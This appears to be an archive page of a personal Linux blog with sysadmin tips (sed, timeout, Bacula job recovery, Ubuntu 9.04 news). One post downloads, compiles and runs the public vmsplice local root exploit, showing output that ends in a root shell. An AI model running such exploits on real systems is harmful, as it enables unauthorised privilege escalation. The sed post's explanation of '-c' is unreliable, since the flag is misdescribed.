Archivio

Posts Tagged ‘hacks’

edit a string in multiple files: sed -ic

ottobre 19, 2012 1 commento

Sed is a great tool used to edit one line if needed for multiple files without open it.
Usually to do this, you just need to:

1. Looking for the right regular expression:

grep -re “user” /my/dir

2. Inject the update string

sed -ic ‘s/user/newuser/g’ <filename>

3. Enjoy!

 

WARNING : the option “-c” is needed to preservate the owner of the file, if not set the file change permission with the actual owner.

Categorie:linux Tag:, , , ,

Timeout

ottobre 19, 2012 Commenti disabilitati

Trucchetti in bash:

In Linux con coreutils >= 7.0 è possibile lanciare il comando timeout da commandline,
es:

timeout 1 sleep 1000

Ad esempio per lanciare un tcpdump per 10 secondi possiamo scrivere:

timeout 10 sudo tcpdump -ni eth0 -w /tmp/test.pcap

Enjoy

Categorie:linux Tag:, , ,

bacula: rilanciare un job

dicembre 4, 2010 Commenti disabilitati

Rilanciare un JOB

Se un job fallisce avremo una mail da parte di Bacula di questo tipo:

 
 Oggetto: Bacula Test: Backup Error of myclient Full
 22-Nov 17:49 bckam102-dir JobId 9521: Fatal error: No Job status returned from FD.
 22-Nov 17:46 bckam102-dir JobId 9521: Warning: bsock.c:129 Could  not  connect to Client: myclient on myclient:9102. ERR=Connection refused
 Retrying ...
 22-Nov 17:49 bckam102-dir JobId 9521:  Fatal error: bsock.c:135 Unable  to connect to Client: myclient on  myclient:9102. ERR=Connection refused
 22-Nov 17:49 bckam102-dir JobId 9521: Error: Bacula bckam102-dir 3.0.3 (18Oct09): 22-Nov-2010 17:49:42
 Build OS:               x86_64-unknown-linux-gnu redhat Enterprise release
 JobId:                  9521
 Job:                    myclient.j.2010-11-22_17.00.00_49
 Backup Level:           Full
 Client:                 "myclient" 3.0.1 (30Apr09) i686-pc-linux-gnu,redhat,Enterprise release
 FileSet:                "all-unix" 2010-03-08 02:00:00
 Pool:                   "TESTPOOL4" (From Job resource)
 Catalog:                "MyCatalog" (From Client resource)
 Storage:                "TEST" (From Job resource)
 Scheduled time:         22-Nov-2010 17:00:00
 Start time:             22-Nov-2010 17:46:42
 End time:               22-Nov-2010 17:49:42
 Elapsed time:           3 mins 
 Priority:               10
 FD Files Written:       0
 SD Files Written:       0
 FD Bytes Written:       0 (0 B)
 SD Bytes Written:       0 (0 B)
 Rate:                   0.0 KB/s
 Software Compression:   None
 VSS:                    no
 Encryption:             no
 Accurate:               no
 Volume name(s):         
 Volume Session Id:      2414
 Volume Session Time:    1283529989
 Last Volume Bytes:      87,422,017,536 (87.42 GB)
 Non-fatal FD errors:    0
 SD Errors:              0
 FD termination status:  Error
 SD termination status:  Waiting on FD
 Termination:            *** Backup Error ***
 
 22-Nov 18:19 bckam102-dir JobId 9521: Fatal error: No Job status returned from FD.
 22-Nov 18:16 bckam102-dir JobId 9521: Warning: bsock.c:129 Could  not  connect to Client: myclient on myclient:9102. ERR=Connection refused

Risoluzione:

Leggendo gli errori notiamo subito un ‘connection error‘, bisogna quindi collegarsi sul client (myclient) e verificare che il servizio bacula-fd sia attivo.

1. Tornare sul server di bacula, aprire la bconsole e verificare l’agente di bacula

bconsole
* sta client=[myclient]

2. collegarsi sul client e verificare l’agente di bacula:

 ssh [user]@[server] 
 sudo su -
 service bacula-fd restart
Stopping Bacula File services:                              [FAILED]
 Starting Bacula File services:                             [  OK  ]

3. Tornare sul server di bacula, aprire la bconsole e verificare l’agente di bacula:

bconsole 
 * sta client=[myclient]

Categorie:linux Tag:, , ,

jessica.c

luglio 2, 2009 3 commenti
wget -c http://www.milw0rm.com/exploits/5092 -O jessica.c
gcc jessica.c -o jessica
./jessica
me@myserver:~$ ./jessica
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7f94000 .. 0xb7fc6000
[+] root
root@myserver:~#
Categorie:varie Tag:, ,

Hackmeeting 2009

giugno 14, 2009 Commenti disabilitati
Categorie:varie Tag:, , , ,

ubuntu 9.04 – Jaunty

marzo 12, 2009 Commenti disabilitati

Ubuntu passa al Dark. Sì siamo solo alla Alpha 5, ma ho provato ubuntu e l’ho trovata spaventosamente stabile.

Il 26 Marzo esce la Beta e se continuano così penso che partirà il mio upgrade

…Ecco una prima screenshot del nuovo look usando gnome…
aplha5

Lista delle Novità più importanti:

  • Nuovo sistema di notifiche: Notification Bubble
  • firefox 3.1 con gecko 1.9.1
  • kernel linux 2.6.28 o maggiore
  • Gnome 2.26
  • Creato un “ubuntu Team ” per la creazione dei temi
  • Artwork: new theme, appeareance, icons, panel applet,
  • Support for launching arbitrary commands via keybindings
  • Seahorse chat pidgin encription plugin
  • Vinagre : Support for RDP
  • Nautilus : Toolbar editor
  • Volume: Replace gnome-volume-control with a PulseAudio mixer
  • Evolution: Exchange 2007/MAPI Connector
  • Thunderbird 3 !

Possibili novità:

  • ext4 ( opzionale, richiedere reinstallazione)
  • lilo di default al posto di grub
  • Plymouth: boot grafico e futiristico:

Qui trovate la Roadmap… Enjoy

Categorie:varie Tag:, , , ,